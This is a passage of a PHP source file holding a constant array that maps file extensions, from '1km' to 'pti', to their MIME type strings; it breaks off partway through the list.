    private const MIME_TYPES = ['1km' => 'application/vnd.1000minds.decision-model+xml', '3dml' => 'text/vnd.in3d.3dml', '3ds' => 'image/x-3ds', '3g2' => 'video/3gpp2', '3gp' => 'video/3gp', '3gpp' => 'video/3gpp', '3mf' => 'model/3mf', '7z' => 'application/x-7z-compressed', '7zip' => 'application/x-7z-compressed', '123' => 'application/vnd.lotus-1-2-3', 'aab' => 'application/x-authorware-bin', 'aac' => 'audio/aac', 'aam' => 'application/x-authorware-map', 'aas' => 'application/x-authorware-seg', 'abw' => 'application/x-abiword', 'ac' => 'application/vnd.nokia.n-gage.ac+xml', 'ac3' => 'audio/ac3', 'acc' => 'application/vnd.americandynamics.acc', 'ace' => 'application/x-ace-compressed', 'acu' => 'application/vnd.acucobol', 'acutc' => 'application/vnd.acucorp', 'adp' => 'audio/adpcm', 'adts' => 'audio/aac', 'aep' => 'application/vnd.audiograph', 'afm' => 'application/x-font-type1', 'afp' => 'application/vnd.ibm.modcap', 'age' => 'application/vnd.age', 'ahead' => 'application/vnd.ahead.space', 'ai' => 'application/pdf', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'air' => 'application/vnd.adobe.air-application-installer-package+zip', 'ait' => 'application/vnd.dvb.ait', 'ami' => 'application/vnd.amiga.ami', 'aml' => 'application/automationml-aml+xml', 'amlx' => 'application/automationml-amlx+zip', 'amr' => 'audio/amr', 'apk' => 'application/vnd.android.package-archive', 'apng' => 'image/apng', 'appcache' => 'text/cache-manifest', 'appinstaller' => 'application/appinstaller', 'application' => 'application/x-ms-application', 'appx' => 'application/appx', 'appxbundle' => 'application/appxbundle', 'apr' => 'application/vnd.lotus-approach', 'arc' => 'application/x-freearc', 'arj' => 'application/x-arj', 'asc' => 'application/pgp-signature', 'asf' => 'video/x-ms-asf', 'asm' => 'text/x-asm', 'aso' => 'application/vnd.accpac.simply.aso', 'asx' => 'video/x-ms-asf', 'atc' => 'application/vnd.acucorp', 'atom' => 'application/atom+xml', 'atomcat' => 'application/atomcat+xml', 'atomdeleted' => 'application/atomdeleted+xml', 'atomsvc' => 'application/atomsvc+xml', 'atx' => 'application/vnd.antix.game-component', 'au' => 'audio/x-au', 'avci' => 'image/avci', 'avcs' => 'image/avcs', 'avi' => 'video/x-msvideo', 'avif' => 'image/avif', 'aw' => 'application/applixware', 'azf' => 'application/vnd.airzip.filesecure.azf', 'azs' => 'application/vnd.airzip.filesecure.azs', 'azv' => 'image/vnd.airzip.accelerator.azv', 'azw' => 'application/vnd.amazon.ebook', 'b16' => 'image/vnd.pco.b16', 'bat' => 'application/x-msdownload', 'bcpio' => 'application/x-bcpio', 'bdf' => 'application/x-font-bdf', 'bdm' => 'application/vnd.syncml.dm+wbxml', 'bdoc' => 'application/x-bdoc', 'bed' => 'application/vnd.realvnc.bed', 'bh2' => 'application/vnd.fujitsu.oasysprs', 'bin' => 'application/octet-stream', 'blb' => 'application/x-blorb', 'blorb' => 'application/x-blorb', 'bmi' => 'application/vnd.bmi', 'bmml' => 'application/vnd.balsamiq.bmml+xml', 'bmp' => 'image/bmp', 'book' => 'application/vnd.framemaker', 'box' => 'application/vnd.previewsystems.box', 'boz' => 'application/x-bzip2', 'bpk' => 'application/octet-stream', 'bpmn' => 'application/octet-stream', 'bsp' => 'model/vnd.valve.source.compiled-map', 'btf' => 'image/prs.btif', 'btif' => 'image/prs.btif', 'buffer' => 'application/octet-stream', 'bz' => 'application/x-bzip', 'bz2' => 'application/x-bzip2', 'c' => 'text/x-c', 'c4d' => 'application/vnd.clonk.c4group', 'c4f' => 'application/vnd.clonk.c4group', 'c4g' => 'application/vnd.clonk.c4group', 'c4p' => 'application/vnd.clonk.c4group', 'c4u' => 'application/vnd.clonk.c4group', 'c11amc' => 'application/vnd.cluetrust.cartomobile-config', 'c11amz' => 'application/vnd.cluetrust.cartomobile-config-pkg', 'cab' => 'application/vnd.ms-cab-compressed', 'caf' => 'audio/x-caf', 'cap' => 'application/vnd.tcpdump.pcap', 'car' => 'application/vnd.curl.car', 'cat' => 'application/vnd.ms-pki.seccat', 'cb7' => 'application/x-cbr', 'cba' => 'application/x-cbr', 'cbr' => 'application/x-cbr', 'cbt' => 'application/x-cbr', 'cbz' => 'application/x-cbr', 'cc' => 'text/x-c', 'cco' => 'application/x-cocoa', 'cct' => 'application/x-director', 'ccxml' => 'application/ccxml+xml', 'cdbcmsg' => 'application/vnd.contact.cmsg', 'cdf' => 'application/x-netcdf', 'cdfx' => 'application/cdfx+xml', 'cdkey' => 'application/vnd.mediastation.cdkey', 'cdmia' => 'application/cdmi-capability', 'cdmic' => 'application/cdmi-container', 'cdmid' => 'application/cdmi-domain', 'cdmio' => 'application/cdmi-object', 'cdmiq' => 'application/cdmi-queue', 'cdr' => 'application/cdr', 'cdx' => 'chemical/x-cdx', 'cdxml' => 'application/vnd.chemdraw+xml', 'cdy' => 'application/vnd.cinderella', 'cer' => 'application/pkix-cert', 'cfs' => 'application/x-cfs-compressed', 'cgm' => 'image/cgm', 'chat' => 'application/x-chat', 'chm' => 'application/vnd.ms-htmlhelp', 'chrt' => 'application/vnd.kde.kchart', 'cif' => 'chemical/x-cif', 'cii' => 'application/vnd.anser-web-certificate-issue-initiation', 'cil' => 'application/vnd.ms-artgalry', 'cjs' => 'application/node', 'cla' => 'application/vnd.claymore', 'class' => 'application/octet-stream', 'cld' => 'model/vnd.cld', 'clkk' => 'application/vnd.crick.clicker.keyboard', 'clkp' => 'application/vnd.crick.clicker.palette', 'clkt' => 'application/vnd.crick.clicker.template', 'clkw' => 'application/vnd.crick.clicker.wordbank', 'clkx' => 'application/vnd.crick.clicker', 'clp' => 'application/x-msclip', 'cmc' => 'application/vnd.cosmocaller', 'cmdf' => 'chemical/x-cmdf', 'cml' => 'chemical/x-cml', 'cmp' => 'application/vnd.yellowriver-custom-menu', 'cmx' => 'image/x-cmx', 'cod' => 'application/vnd.rim.cod', 'coffee' => 'text/coffeescript', 'com' => 'application/x-msdownload', 'conf' => 'text/plain', 'cpio' => 'application/x-cpio', 'cpl' => 'application/cpl+xml', 'cpp' => 'text/x-c', 'cpt' => 'application/mac-compactpro', 'crd' => 'application/x-mscardfile', 'crl' => 'application/pkix-crl', 'crt' => 'application/x-x509-ca-cert', 'crx' => 'application/x-chrome-extension', 'cryptonote' => 'application/vnd.rig.cryptonote', 'csh' => 'application/x-csh', 'csl' => 'application/vnd.citationstyles.style+xml', 'csml' => 'chemical/x-csml', 'csp' => 'application/vnd.commonspace', 'csr' => 'application/octet-stream', 'css' => 'text/css', 'cst' => 'application/x-director', 'csv' => 'text/csv', 'cu' => 'application/cu-seeme', 'curl' => 'text/vnd.curl', 'cwl' => 'application/cwl', 'cww' => 'application/prs.cww', 'cxt' => 'application/x-director', 'cxx' => 'text/x-c', 'dae' => 'model/vnd.collada+xml', 'daf' => 'application/vnd.mobius.daf', 'dart' => 'application/vnd.dart', 'dataless' => 'application/vnd.fdsn.seed', 'davmount' => 'application/davmount+xml', 'dbf' => 'application/vnd.dbf', 'dbk' => 'application/docbook+xml', 'dcr' => 'application/x-director', 'dcurl' => 'text/vnd.curl.dcurl', 'dd2' => 'application/vnd.oma.dd2+xml', 'ddd' => 'application/vnd.fujixerox.ddd', 'ddf' => 'application/vnd.syncml.dmddf+xml', 'dds' => 'image/vnd.ms-dds', 'deb' => 'application/x-debian-package', 'def' => 'text/plain', 'deploy' => 'application/octet-stream', 'der' => 'application/x-x509-ca-cert', 'dfac' => 'application/vnd.dreamfactory', 'dgc' => 'application/x-dgc-compressed', 'dib' => 'image/bmp', 'dic' => 'text/x-c', 'dir' => 'application/x-director', 'dis' => 'application/vnd.mobius.dis', 'disposition-notification' => 'message/disposition-notification', 'dist' => 'application/octet-stream', 'distz' => 'application/octet-stream', 'djv' => 'image/vnd.djvu', 'djvu' => 'image/vnd.djvu', 'dll' => 'application/octet-stream', 'dmg' => 'application/x-apple-diskimage', 'dmn' => 'application/octet-stream', 'dmp' => 'application/vnd.tcpdump.pcap', 'dms' => 'application/octet-stream', 'dna' => 'application/vnd.dna', 'doc' => 'application/msword', 'docm' => 'application/vnd.ms-word.template.macroEnabled.12', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dot' => 'application/msword', 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'dp' => 'application/vnd.osgi.dp', 'dpg' => 'application/vnd.dpgraph', 'dpx' => 'image/dpx', 'dra' => 'audio/vnd.dra', 'drle' => 'image/dicom-rle', 'dsc' => 'text/prs.lines.tag', 'dssc' => 'application/dssc+der', 'dtb' => 'application/x-dtbook+xml', 'dtd' => 'application/xml-dtd', 'dts' => 'audio/vnd.dts', 'dtshd' => 'audio/vnd.dts.hd', 'dump' => 'application/octet-stream', 'dvb' => 'video/vnd.dvb.file', 'dvi' => 'application/x-dvi', 'dwd' => 'application/atsc-dwd+xml', 'dwf' => 'model/vnd.dwf', 'dwg' => 'image/vnd.dwg', 'dxf' => 'image/vnd.dxf', 'dxp' => 'application/vnd.spotfire.dxp', 'dxr' => 'application/x-director', 'ear' => 'application/java-archive', 'ecelp4800' => 'audio/vnd.nuera.ecelp4800', 'ecelp7470' => 'audio/vnd.nuera.ecelp7470', 'ecelp9600' => 'audio/vnd.nuera.ecelp9600', 'ecma' => 'application/ecmascript', 'edm' => 'application/vnd.novadigm.edm', 'edx' => 'application/vnd.novadigm.edx', 'efif' => 'application/vnd.picsel', 'ei6' => 'application/vnd.pg.osasli', 'elc' => 'application/octet-stream', 'emf' => 'image/emf', 'eml' => 'message/rfc822', 'emma' => 'application/emma+xml', 'emotionml' => 'application/emotionml+xml', 'emz' => 'application/x-msmetafile', 'eol' => 'audio/vnd.digital-winds', 'eot' => 'application/vnd.ms-fontobject', 'eps' => 'application/postscript', 'epub' => 'application/epub+zip', 'es3' => 'application/vnd.eszigno3+xml', 'esa' => 'application/vnd.osgi.subsystem', 'esf' => 'application/vnd.epson.esf', 'et3' => 'application/vnd.eszigno3+xml', 'etx' => 'text/x-setext', 'eva' => 'application/x-eva', 'evy' => 'application/x-envoy', 'exe' => 'application/octet-stream', 'exi' => 'application/exi', 'exp' => 'application/express', 'exr' => 'image/aces', 'ext' => 'application/vnd.novadigm.ext', 'ez' => 'application/andrew-inset', 'ez2' => 'application/vnd.ezpix-album', 'ez3' => 'application/vnd.ezpix-package', 'f' => 'text/x-fortran', 'f4v' => 'video/mp4', 'f77' => 'text/x-fortran', 'f90' => 'text/x-fortran', 'fbs' => 'image/vnd.fastbidsheet', 'fcdt' => 'application/vnd.adobe.formscentral.fcdt', 'fcs' => 'application/vnd.isac.fcs', 'fdf' => 'application/vnd.fdf', 'fdt' => 'application/fdt+xml', 'fe_launch' => 'application/vnd.denovo.fcselayout-link', 'fg5' => 'application/vnd.fujitsu.oasysgp', 'fgd' => 'application/x-director', 'fh' => 'image/x-freehand', 'fh4' => 'image/x-freehand', 'fh5' => 'image/x-freehand', 'fh7' => 'image/x-freehand', 'fhc' => 'image/x-freehand', 'fig' => 'application/x-xfig', 'fits' => 'image/fits', 'flac' => 'audio/x-flac', 'fli' => 'video/x-fli', 'flo' => 'application/vnd.micrografx.flo', 'flv' => 'video/x-flv', 'flw' => 'application/vnd.kde.kivio', 'flx' => 'text/vnd.fmi.flexstor', 'fly' => 'text/vnd.fly', 'fm' => 'application/vnd.framemaker', 'fnc' => 'application/vnd.frogans.fnc', 'fo' => 'application/vnd.software602.filler.form+xml', 'for' => 'text/x-fortran', 'fpx' => 'image/vnd.fpx', 'frame' => 'application/vnd.framemaker', 'fsc' => 'application/vnd.fsc.weblaunch', 'fst' => 'image/vnd.fst', 'ftc' => 'application/vnd.fluxtime.clip', 'fti' => 'application/vnd.anser-web-funds-transfer-initiation', 'fvt' => 'video/vnd.fvt', 'fxp' => 'application/vnd.adobe.fxp', 'fxpl' => 'application/vnd.adobe.fxp', 'fzs' => 'application/vnd.fuzzysheet', 'g2w' => 'application/vnd.geoplan', 'g3' => 'image/g3fax', 'g3w' => 'application/vnd.geospace', 'gac' => 'application/vnd.groove-account', 'gam' => 'application/x-tads', 'gbr' => 'application/rpki-ghostbusters', 'gca' => 'application/x-gca-compressed', 'gdl' => 'model/vnd.gdl', 'gdoc' => 'application/vnd.google-apps.document', 'ged' => 'text/vnd.familysearch.gedcom', 'geo' => 'application/vnd.dynageo', 'geojson' => 'application/geo+json', 'gex' => 'application/vnd.geometry-explorer', 'ggb' => 'application/vnd.geogebra.file', 'ggt' => 'application/vnd.geogebra.tool', 'ghf' => 'application/vnd.groove-help', 'gif' => 'image/gif', 'gim' => 'application/vnd.groove-identity-message', 'glb' => 'model/gltf-binary', 'gltf' => 'model/gltf+json', 'gml' => 'application/gml+xml', 'gmx' => 'application/vnd.gmx', 'gnumeric' => 'application/x-gnumeric', 'gpg' => 'application/gpg-keys', 'gph' => 'application/vnd.flographit', 'gpx' => 'application/gpx+xml', 'gqf' => 'application/vnd.grafeq', 'gqs' => 'application/vnd.grafeq', 'gram' => 'application/srgs', 'gramps' => 'application/x-gramps-xml', 'gre' => 'application/vnd.geometry-explorer', 'grv' => 'application/vnd.groove-injector', 'grxml' => 'application/srgs+xml', 'gsf' => 'application/x-font-ghostscript', 'gsheet' => 'application/vnd.google-apps.spreadsheet', 'gslides' => 'application/vnd.google-apps.presentation', 'gtar' => 'application/x-gtar', 'gtm' => 'application/vnd.groove-tool-message', 'gtw' => 'model/vnd.gtw', 'gv' => 'text/vnd.graphviz', 'gxf' => 'application/gxf', 'gxt' => 'application/vnd.geonext', 'gz' => 'application/gzip', 'gzip' => 'application/gzip', 'h' => 'text/x-c', 'h261' => 'video/h261', 'h263' => 'video/h263', 'h264' => 'video/h264', 'hal' => 'application/vnd.hal+xml', 'hbci' => 'application/vnd.hbci', 'hbs' => 'text/x-handlebars-template', 'hdd' => 'application/x-virtualbox-hdd', 'hdf' => 'application/x-hdf', 'heic' => 'image/heic', 'heics' => 'image/heic-sequence', 'heif' => 'image/heif', 'heifs' => 'image/heif-sequence', 'hej2' => 'image/hej2k', 'held' => 'application/atsc-held+xml', 'hh' => 'text/x-c', 'hjson' => 'application/hjson', 'hlp' => 'application/winhlp', 'hpgl' => 'application/vnd.hp-hpgl', 'hpid' => 'application/vnd.hp-hpid', 'hps' => 'application/vnd.hp-hps', 'hqx' => 'application/mac-binhex40', 'hsj2' => 'image/hsj2', 'htc' => 'text/x-component', 'htke' => 'application/vnd.kenameaapp', 'htm' => 'text/html', 'html' => 'text/html', 'hvd' => 'application/vnd.yamaha.hv-dic', 'hvp' => 'application/vnd.yamaha.hv-voice', 'hvs' => 'application/vnd.yamaha.hv-script', 'i2g' => 'application/vnd.intergeo', 'icc' => 'application/vnd.iccprofile', 'ice' => 'x-conference/x-cooltalk', 'icm' => 'application/vnd.iccprofile', 'ico' => 'image/x-icon', 'ics' => 'text/calendar', 'ief' => 'image/ief', 'ifb' => 'text/calendar', 'ifm' => 'application/vnd.shana.informed.formdata', 'iges' => 'model/iges', 'igl' => 'application/vnd.igloader', 'igm' => 'application/vnd.insors.igm', 'igs' => 'model/iges', 'igx' => 'application/vnd.micrografx.igx', 'iif' => 'application/vnd.shana.informed.interchange', 'img' => 'application/octet-stream', 'imp' => 'application/vnd.accpac.simply.imp', 'ims' => 'application/vnd.ms-ims', 'in' => 'text/plain', 'ini' => 'text/plain', 'ink' => 'application/inkml+xml', 'inkml' => 'application/inkml+xml', 'install' => 'application/x-install-instructions', 'iota' => 'application/vnd.astraea-software.iota', 'ipfix' => 'application/ipfix', 'ipk' => 'application/vnd.shana.informed.package', 'irm' => 'application/vnd.ibm.rights-management', 'irp' => 'application/vnd.irepository.package+xml', 'iso' => 'application/x-iso9660-image', 'itp' => 'application/vnd.shana.informed.formtemplate', 'its' => 'application/its+xml', 'ivp' => 'application/vnd.immervision-ivp', 'ivu' => 'application/vnd.immervision-ivu', 'jad' => 'text/vnd.sun.j2me.app-descriptor', 'jade' => 'text/jade', 'jam' => 'application/vnd.jam', 'jar' => 'application/java-archive', 'jardiff' => 'application/x-java-archive-diff', 'java' => 'text/x-java-source', 'jhc' => 'image/jphc', 'jisp' => 'application/vnd.jisp', 'jls' => 'image/jls', 'jlt' => 'application/vnd.hp-jlyt', 'jng' => 'image/x-jng', 'jnlp' => 'application/x-java-jnlp-file', 'joda' => 'application/vnd.joost.joda-archive', 'jp2' => 'image/jp2', 'jpe' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'jpf' => 'image/jpx', 'jpg' => 'image/jpeg', 'jpg2' => 'image/jp2', 'jpgm' => 'video/jpm', 'jpgv' => 'video/jpeg', 'jph' => 'image/jph', 'jpm' => 'video/jpm', 'jpx' => 'image/jpx', 'js' => 'application/javascript', 'json' => 'application/json', 'json5' => 'application/json5', 'jsonld' => 'application/ld+json', 'jsonml' => 'application/jsonml+json', 'jsx' => 'text/jsx', 'jt' => 'model/jt', 'jxr' => 'image/jxr', 'jxra' => 'image/jxra', 'jxrs' => 'image/jxrs', 'jxs' => 'image/jxs', 'jxsc' => 'image/jxsc', 'jxsi' => 'image/jxsi', 'jxss' => 'image/jxss', 'kar' => 'audio/midi', 'karbon' => 'application/vnd.kde.karbon', 'kdb' => 'application/octet-stream', 'kdbx' => 'application/x-keepass2', 'key' => 'application/x-iwork-keynote-sffkey', 'kfo' => 'application/vnd.kde.kformula', 'kia' => 'application/vnd.kidspiration', 'kml' => 'application/vnd.google-earth.kml+xml', 'kmz' => 'application/vnd.google-earth.kmz', 'kne' => 'application/vnd.kinar', 'knp' => 'application/vnd.kinar', 'kon' => 'application/vnd.kde.kontour', 'kpr' => 'application/vnd.kde.kpresenter', 'kpt' => 'application/vnd.kde.kpresenter', 'kpxx' => 'application/vnd.ds-keypoint', 'ksp' => 'application/vnd.kde.kspread', 'ktr' => 'application/vnd.kahootz', 'ktx' => 'image/ktx', 'ktx2' => 'image/ktx2', 'ktz' => 'application/vnd.kahootz', 'kwd' => 'application/vnd.kde.kword', 'kwt' => 'application/vnd.kde.kword', 'lasxml' => 'application/vnd.las.las+xml', 'latex' => 'application/x-latex', 'lbd' => 'application/vnd.llamagraphics.life-balance.desktop', 'lbe' => 'application/vnd.llamagraphics.life-balance.exchange+xml', 'les' => 'application/vnd.hhe.lesson-player', 'less' => 'text/less', 'lgr' => 'application/lgr+xml', 'lha' => 'application/octet-stream', 'link66' => 'application/vnd.route66.link66+xml', 'list' => 'text/plain', 'list3820' => 'application/vnd.ibm.modcap', 'listafp' => 'application/vnd.ibm.modcap', 'litcoffee' => 'text/coffeescript', 'lnk' => 'application/x-ms-shortcut', 'log' => 'text/plain', 'lostxml' => 'application/lost+xml', 'lrf' => 'application/octet-stream', 'lrm' => 'application/vnd.ms-lrm', 'ltf' => 'application/vnd.frogans.ltf', 'lua' => 'text/x-lua', 'luac' => 'application/x-lua-bytecode', 'lvp' => 'audio/vnd.lucent.voice', 'lwp' => 'application/vnd.lotus-wordpro', 'lzh' => 'application/octet-stream', 'm1v' => 'video/mpeg', 'm2a' => 'audio/mpeg', 'm2v' => 'video/mpeg', 'm3a' => 'audio/mpeg', 'm3u' => 'text/plain', 'm3u8' => 'application/vnd.apple.mpegurl', 'm4a' => 'audio/x-m4a', 'm4p' => 'application/mp4', 'm4s' => 'video/iso.segment', 'm4u' => 'application/vnd.mpegurl', 'm4v' => 'video/x-m4v', 'm13' => 'application/x-msmediaview', 'm14' => 'application/x-msmediaview', 'm21' => 'application/mp21', 'ma' => 'application/mathematica', 'mads' => 'application/mads+xml', 'maei' => 'application/mmt-aei+xml', 'mag' => 'application/vnd.ecowin.chart', 'maker' => 'application/vnd.framemaker', 'man' => 'text/troff', 'manifest' => 'text/cache-manifest', 'map' => 'application/json', 'mar' => 'application/octet-stream', 'markdown' => 'text/markdown', 'mathml' => 'application/mathml+xml', 'mb' => 'application/mathematica', 'mbk' => 'application/vnd.mobius.mbk', 'mbox' => 'application/mbox', 'mc1' => 'application/vnd.medcalcdata', 'mcd' => 'application/vnd.mcd', 'mcurl' => 'text/vnd.curl.mcurl', 'md' => 'text/markdown', 'mdb' => 'application/x-msaccess', 'mdi' => 'image/vnd.ms-modi', 'mdx' => 'text/mdx', 'me' => 'text/troff', 'mesh' => 'model/mesh', 'meta4' => 'application/metalink4+xml', 'metalink' => 'application/metalink+xml', 'mets' => 'application/mets+xml', 'mfm' => 'application/vnd.mfmp', 'mft' => 'application/rpki-manifest', 'mgp' => 'application/vnd.osgeo.mapguide.package', 'mgz' => 'application/vnd.proteus.magazine', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mie' => 'application/x-mie', 'mif' => 'application/vnd.mif', 'mime' => 'message/rfc822', 'mj2' => 'video/mj2', 'mjp2' => 'video/mj2', 'mjs' => 'text/javascript', 'mk3d' => 'video/x-matroska', 'mka' => 'audio/x-matroska', 'mkd' => 'text/x-markdown', 'mks' => 'video/x-matroska', 'mkv' => 'video/x-matroska', 'mlp' => 'application/vnd.dolby.mlp', 'mmd' => 'application/vnd.chipnuts.karaoke-mmd', 'mmf' => 'application/vnd.smaf', 'mml' => 'text/mathml', 'mmr' => 'image/vnd.fujixerox.edmics-mmr', 'mng' => 'video/x-mng', 'mny' => 'application/x-msmoney', 'mobi' => 'application/x-mobipocket-ebook', 'mods' => 'application/mods+xml', 'mov' => 'video/quicktime', 'movie' => 'video/x-sgi-movie', 'mp2' => 'audio/mpeg', 'mp2a' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mp4' => 'video/mp4', 'mp4a' => 'audio/mp4', 'mp4s' => 'application/mp4', 'mp4v' => 'video/mp4', 'mp21' => 'application/mp21', 'mpc' => 'application/vnd.mophun.certificate', 'mpd' => 'application/dash+xml', 'mpe' => 'video/mpeg', 'mpeg' => 'video/mpeg', 'mpf' => 'application/media-policy-dataset+xml', 'mpg' => 'video/mpeg', 'mpg4' => 'video/mp4', 'mpga' => 'audio/mpeg', 'mpkg' => 'application/vnd.apple.installer+xml', 'mpm' => 'application/vnd.blueice.multipass', 'mpn' => 'application/vnd.mophun.application', 'mpp' => 'application/vnd.ms-project', 'mpt' => 'application/vnd.ms-project', 'mpy' => 'application/vnd.ibm.minipay', 'mqy' => 'application/vnd.mobius.mqy', 'mrc' => 'application/marc', 'mrcx' => 'application/marcxml+xml', 'ms' => 'text/troff', 'mscml' => 'application/mediaservercontrol+xml', 'mseed' => 'application/vnd.fdsn.mseed', 'mseq' => 'application/vnd.mseq', 'msf' => 'application/vnd.epson.msf', 'msg' => 'application/vnd.ms-outlook', 'msh' => 'model/mesh', 'msi' => 'application/x-msdownload', 'msix' => 'application/msix', 'msixbundle' => 'application/msixbundle', 'msl' => 'application/vnd.mobius.msl', 'msm' => 'application/octet-stream', 'msp' => 'application/octet-stream', 'msty' => 'application/vnd.muvee.style', 'mtl' => 'model/mtl', 'mts' => 'model/vnd.mts', 'mus' => 'application/vnd.musician', 'musd' => 'application/mmt-usd+xml', 'musicxml' => 'application/vnd.recordare.musicxml+xml', 'mvb' => 'application/x-msmediaview', 'mvt' => 'application/vnd.mapbox-vector-tile', 'mwf' => 'application/vnd.mfer', 'mxf' => 'application/mxf', 'mxl' => 'application/vnd.recordare.musicxml', 'mxmf' => 'audio/mobile-xmf', 'mxml' => 'application/xv+xml', 'mxs' => 'application/vnd.triscape.mxs', 'mxu' => 'video/vnd.mpegurl', 'n-gage' => 'application/vnd.nokia.n-gage.symbian.install', 'n3' => 'text/n3', 'nb' => 'application/mathematica', 'nbp' => 'application/vnd.wolfram.player', 'nc' => 'application/x-netcdf', 'ncx' => 'application/x-dtbncx+xml', 'nfo' => 'text/x-nfo', 'ngdat' => 'application/vnd.nokia.n-gage.data', 'nitf' => 'application/vnd.nitf', 'nlu' => 'application/vnd.neurolanguage.nlu', 'nml' => 'application/vnd.enliven', 'nnd' => 'application/vnd.noblenet-directory', 'nns' => 'application/vnd.noblenet-sealer', 'nnw' => 'application/vnd.noblenet-web', 'npx' => 'image/vnd.net-fpx', 'nq' => 'application/n-quads', 'nsc' => 'application/x-conference', 'nsf' => 'application/vnd.lotus-notes', 'nt' => 'application/n-triples', 'ntf' => 'application/vnd.nitf', 'numbers' => 'application/x-iwork-numbers-sffnumbers', 'nzb' => 'application/x-nzb', 'oa2' => 'application/vnd.fujitsu.oasys2', 'oa3' => 'application/vnd.fujitsu.oasys3', 'oas' => 'application/vnd.fujitsu.oasys', 'obd' => 'application/x-msbinder', 'obgx' => 'application/vnd.openblox.game+xml', 'obj' => 'model/obj', 'oda' => 'application/oda', 'odb' => 'application/vnd.oasis.opendocument.database', 'odc' => 'application/vnd.oasis.opendocument.chart', 'odf' => 'application/vnd.oasis.opendocument.formula', 'odft' => 'application/vnd.oasis.opendocument.formula-template', 'odg' => 'application/vnd.oasis.opendocument.graphics', 'odi' => 'application/vnd.oasis.opendocument.image', 'odm' => 'application/vnd.oasis.opendocument.text-master', 'odp' => 'application/vnd.oasis.opendocument.presentation', 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', 'odt' => 'application/vnd.oasis.opendocument.text', 'oga' => 'audio/ogg', 'ogex' => 'model/vnd.opengex', 'ogg' => 'audio/ogg', 'ogv' => 'video/ogg', 'ogx' => 'application/ogg', 'omdoc' => 'application/omdoc+xml', 'onepkg' => 'application/onenote', 'onetmp' => 'application/onenote', 'onetoc' => 'application/onenote', 'onetoc2' => 'application/onenote', 'opf' => 'application/oebps-package+xml', 'opml' => 'text/x-opml', 'oprc' => 'application/vnd.palm', 'opus' => 'audio/ogg', 'org' => 'text/x-org', 'osf' => 'application/vnd.yamaha.openscoreformat', 'osfpvg' => 'application/vnd.yamaha.openscoreformat.osfpvg+xml', 'osm' => 'application/vnd.openstreetmap.data+xml', 'otc' => 'application/vnd.oasis.opendocument.chart-template', 'otf' => 'font/otf', 'otg' => 'application/vnd.oasis.opendocument.graphics-template', 'oth' => 'application/vnd.oasis.opendocument.text-web', 'oti' => 'application/vnd.oasis.opendocument.image-template', 'otp' => 'application/vnd.oasis.opendocument.presentation-template', 'ots' => 'application/vnd.oasis.opendocument.spreadsheet-template', 'ott' => 'application/vnd.oasis.opendocument.text-template', 'ova' => 'application/x-virtualbox-ova', 'ovf' => 'application/x-virtualbox-ovf', 'owl' => 'application/rdf+xml', 'oxps' => 'application/oxps', 'oxt' => 'application/vnd.openofficeorg.extension', 'p' => 'text/x-pascal', 'p7a' => 'application/x-pkcs7-signature', 'p7b' => 'application/x-pkcs7-certificates', 'p7c' => 'application/pkcs7-mime', 'p7m' => 'application/pkcs7-mime', 'p7r' => 'application/x-pkcs7-certreqresp', 'p7s' => 'application/pkcs7-signature', 'p8' => 'application/pkcs8', 'p10' => 'application/x-pkcs10', 'p12' => 'application/x-pkcs12', 'pac' => 'application/x-ns-proxy-autoconfig', 'pages' => 'application/x-iwork-pages-sffpages', 'pas' => 'text/x-pascal', 'paw' => 'application/vnd.pawaafile', 'pbd' => 'application/vnd.powerbuilder6', 'pbm' => 'image/x-portable-bitmap', 'pcap' => 'application/vnd.tcpdump.pcap', 'pcf' => 'application/x-font-pcf', 'pcl' => 'application/vnd.hp-pcl', 'pclxl' => 'application/vnd.hp-pclxl', 'pct' => 'image/x-pict', 'pcurl' => 'application/vnd.curl.pcurl', 'pcx' => 'image/x-pcx', 'pdb' => 'application/x-pilot', 'pde' => 'text/x-processing', 'pdf' => 'application/pdf', 'pem' => 'application/x-x509-user-cert', 'pfa' => 'application/x-font-type1', 'pfb' => 'application/x-font-type1', 'pfm' => 'application/x-font-type1', 'pfr' => 'application/font-tdpfr', 'pfx' => 'application/x-pkcs12', 'pgm' => 'image/x-portable-graymap', 'pgn' => 'application/x-chess-pgn', 'pgp' => 'application/pgp', 'phar' => 'application/octet-stream', 'php' => 'application/x-httpd-php', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'phtml' => 'application/x-httpd-php', 'pic' => 'image/x-pict', 'pkg' => 'application/octet-stream', 'pki' => 'application/pkixcmp', 'pkipath' => 'application/pkix-pkipath', 'pkpass' => 'application/vnd.apple.pkpass', 'pl' => 'application/x-perl', 'plb' => 'application/vnd.3gpp.pic-bw-large', 'plc' => 'application/vnd.mobius.plc', 'plf' => 'application/vnd.pocketlearn', 'pls' => 'application/pls+xml', 'pm' => 'application/x-perl', 'pml' => 'application/vnd.ctc-posml', 'png' => 'image/png', 'pnm' => 'image/x-portable-anymap', 'portpkg' => 'application/vnd.macports.portpkg', 'pot' => 'application/vnd.ms-powerpoint', 'potm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppa' => 'application/vnd.ms-powerpoint', 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12', 'ppd' => 'application/vnd.cups-ppd', 'ppm' => 'image/x-portable-pixmap', 'pps' => 'application/vnd.ms-powerpoint', 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'ppt' => 'application/powerpoint', 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'pqa' => 'application/vnd.palm', 'prc' => 'model/prc', 'pre' => 'application/vnd.lotus-freelance', 'prf' => 'application/pics-rules', 'provx' => 'application/provenance+xml', 'ps' => 'application/postscript', 'psb' => 'application/vnd.3gpp.pic-bw-small', 'psd' => 'application/x-photoshop', 'psf' => 'application/x-font-linux-psf', 'pskcxml' => 'application/pskc+xml', 'pti' => 